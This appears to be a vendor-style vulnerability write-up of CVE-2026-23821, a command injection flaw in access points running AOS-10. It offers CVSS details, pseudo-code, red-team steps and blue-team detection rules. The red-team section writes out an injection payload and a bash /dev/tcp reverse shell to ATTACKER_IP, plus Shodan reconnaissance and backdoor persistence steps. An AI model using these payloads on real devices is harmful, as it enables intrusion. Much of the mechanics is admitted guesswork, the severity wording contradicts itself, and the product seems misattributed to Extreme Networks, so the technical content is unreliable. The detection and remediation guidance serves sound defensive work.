CVE-2026-23821

Executive Summary

CVE-2026-23821 is a critical command injection vulnerability affecting Extreme Networks Access Points running AOS-10 software. An authenticated remote attacker can exploit this flaw to execute arbitrary system commands on the underlying operating system, provided certain pre-existing conditions are met. The vulnerability resides in the configuration processing logic of the device. While the CVSS score is 7.2 (High), the EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis. Notably, AOS-8 Instant software is not affected. No public proof-of-concept (PoC) or exploit code is currently available, and no patch has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required beyond authentication.
• Privileges Required (PR): High (H) – Requires valid administrative credentials.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Exploit stays within the affected component.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Full system compromise possible.
• Availability (A): High (H) – Full system compromise possible.

Threat Level: High. Although exploitation requires authentication, the impact is total device compromise. Given the criticality of Access Points in network infrastructure, this vulnerability poses a significant risk to enterprise environments.

Deep Dive & Mechanics

The vulnerability exists in the configuration processing logic of AOS-10 on Extreme Networks Access Points. The software fails to properly sanitize user-supplied input when processing configuration commands. An authenticated attacker can inject operating system commands into configuration parameters, which are then executed with elevated privileges on the underlying OS.

Pre-existing conditions likely refer to specific configuration states or enabled features that expose the vulnerable code path. This could include:

• Enabling certain management protocols (e.g., SNMP, SSH, HTTP/HTTPS).
• Specific configuration profiles (e.g., WLAN, QoS, or security settings).
• The presence of certain user roles or privilege levels.

The attack flow:

1. Attacker authenticates to the AP management interface (e.g., CLI, web UI, or API).
2. Attacker crafts a malicious configuration command containing OS command injection payloads.
3. The vulnerable processing logic passes the unsanitized input to a system shell.
4. The injected commands execute with the privileges of the AP management process (typically root).

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code is likely in the configuration parser module of AOS-10. A patched version would need to:

• Implement strict input validation and sanitization.
• Use parameterized APIs instead of shell execution.
• Apply the principle of least privilege to the configuration processing process.

Example vulnerable code (pseudo):

void process_config(char *input) {
    char cmd[1024];
    snprintf(cmd, sizeof(cmd), "config_tool %s", input);
    system(cmd); // Vulnerable to command injection
}

Example patched code (pseudo):

void process_config(char *input) {
    if (!validate_input(input)) {
        log_error("Invalid input");
        return;
    }
    // Use safe API instead of system()
    config_tool_safe(input);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid administrative credentials for an Extreme Networks AP running AOS-10.
• Network access to the AP management interface (e.g., SSH, HTTPS).
• Pre-existing conditions met (e.g., specific configuration enabled).

Exploitation Steps:

1. Reconnaissance: Identify Extreme Networks APs using Shodan dorks or network scanning.
2. Authentication: Log in to the AP management interface with admin credentials.
3. Craft Payload: Inject OS commands into a vulnerable configuration parameter. Example:

   # Example payload for a hypothetical vulnerable parameter
   config set wlan-name "test; id; whoami"
   

4. Execute: Apply the configuration. The injected commands execute on the AP OS.
5. Persistence: Create a backdoor user or install a reverse shell.

Example Reverse Shell Payload:

config set snmp-community "public; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Blue Team

Detection & Response:

• Monitor for unusual configuration changes, especially those containing shell metacharacters (;, |, &, $, `).
• Enable logging of all configuration commands and audit logs.
• Use network segmentation to limit management access to trusted IPs only.
• Implement multi-factor authentication (MFA) for AP management.
• Regularly review user accounts and privileges.

Honeypot Strategy:

• Deploy a decoy AP with AOS-10 and monitor for exploitation attempts.
• Log all configuration commands and analyze for injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections from AP to unusual IPs/ports (e.g., reverse shell).
  • Configuration commands containing shell metacharacters in logs.
  • Unusual SNMP or SSH traffic from AP management interface.

• Host IOCs:

  • Unexpected processes running on the AP (e.g., bash, nc, python).
  • New user accounts or SSH keys.
  • Modified system binaries or configuration files.
  • Unusual files in /tmp or /var/run.

• Log IOCs:

  • Log entries showing system() or exec() calls with user input.
  • Failed authentication attempts followed by successful exploitation.
  • Configuration changes outside of normal maintenance windows.

Detection Engineering

YARA Rule

rule CVE_2026_23821_Extreme_AP_Command_Injection {
    meta:
        description = "Detects command injection attempts against Extreme Networks AP AOS-10"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-23821"
        severity = "high"
    strings:
        $cmd1 = /config\s+set\s+\w+\s+\";\s*(id|whoami|cat|bash|nc|python|perl|sh|cmd)/
        $cmd2 = /config\s+set\s+\w+\s+\`.*\`/
        $cmd3 = /config\s+set\s+\w+\s+\$\(.*\)/
        $cmd4 = /config\s+set\s+\w+\s+.*\|\s*(id|whoami|cat|bash|nc|python|perl|sh|cmd)/
    condition:
        any of ($cmd*)
}

Sigma Rule

title: CVE-2026-23821 - Extreme Networks AP Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts against Extreme Networks AP AOS-10
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23821
logsource:
    product: extreme_networks
    service: ap_config
detection:
    selection:
        EventID: 1001
        Command|contains:
            - '; id'
            - '; whoami'
            - '; cat'
            - '; bash'
            - '; nc'
            - '; python'
            - '; perl'
            - '; sh'
            - '; cmd'
            - '`'
            - '$('
            - '| id'
            - '| whoami'
            - '| cat'
            - '| bash'
            - '| nc'
            - '| python'
            - '| perl'
            - '| sh'
            - '| cmd'
    condition: selection
falsepositives:
    - Legitimate use of special characters in configuration (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2026-23821 Extreme Networks AP Command Injection via SSH"; flow:to_server,established; content:"config set"; nocase; content:";"; distance:0; pcre:"/(?:id|whoami|cat|bash|nc|python|perl|sh|cmd)/i"; classtype:attempted-admin; sid:1000001; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"CVE-2026-23821 Extreme Networks AP Command Injection via HTTPS"; flow:to_server,established; content:"config set"; nocase; content:";"; distance:0; pcre:"/(?:id|whoami|cat|bash|nc|python|perl|sh|cmd)/i"; classtype:attempted-admin; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected APs: Restrict management access to trusted IPs only.
2. Disable unnecessary services: Turn off SNMP, HTTP, or SSH if not required.
3. Monitor logs: Actively audit configuration changes and authentication attempts.
4. Apply vendor patch: Once released, patch immediately.

Long-term Mitigations:

• Upgrade to AOS-8 Instant software if possible (not affected).
• Implement network segmentation for AP management.
• Use a centralized management platform with strict access controls.
• Regularly review and rotate administrative credentials.
• Deploy intrusion detection/prevention systems (IDS/IPS) with custom rules.

Workarounds:

• If patching is not possible, consider replacing affected APs with non-vulnerable models.
• Use a VPN or jump host for AP management to reduce exposure.

Valters IT